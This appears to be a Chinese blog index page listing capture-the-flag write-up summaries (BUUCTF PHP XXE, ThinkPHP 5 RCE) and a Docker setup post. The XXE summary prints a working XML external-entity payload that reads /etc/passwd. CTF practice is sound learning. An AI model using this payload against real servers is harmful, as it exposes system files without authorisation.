2022年7月9日
web*buuctf*[PHP]XXE 1
摘要： <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><name>&xxe;</name></root> 阅读全文
posted @ 2022-07-09 14:15 kubopiy 阅读(322) 评论(0) 推荐(0) 编辑
docker安装环境
摘要： 首先安装docker环境 https://eli-coin.blog.csdn.net/article/details/118936533?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Ed 阅读全文
posted @ 2022-07-09 14:14 kubopiy 阅读(22) 评论(0) 推荐(0) 编辑
web*buuctf*[ThinkPHP]5-Rce 1
摘要： 直接使用poc，拿到回显 拿到flag 不知道对实际的提权有什么用处 阅读全文
posted @ 2022-07-09 10:41 kubopiy 阅读(109) 评论(0) 推荐(0) 编辑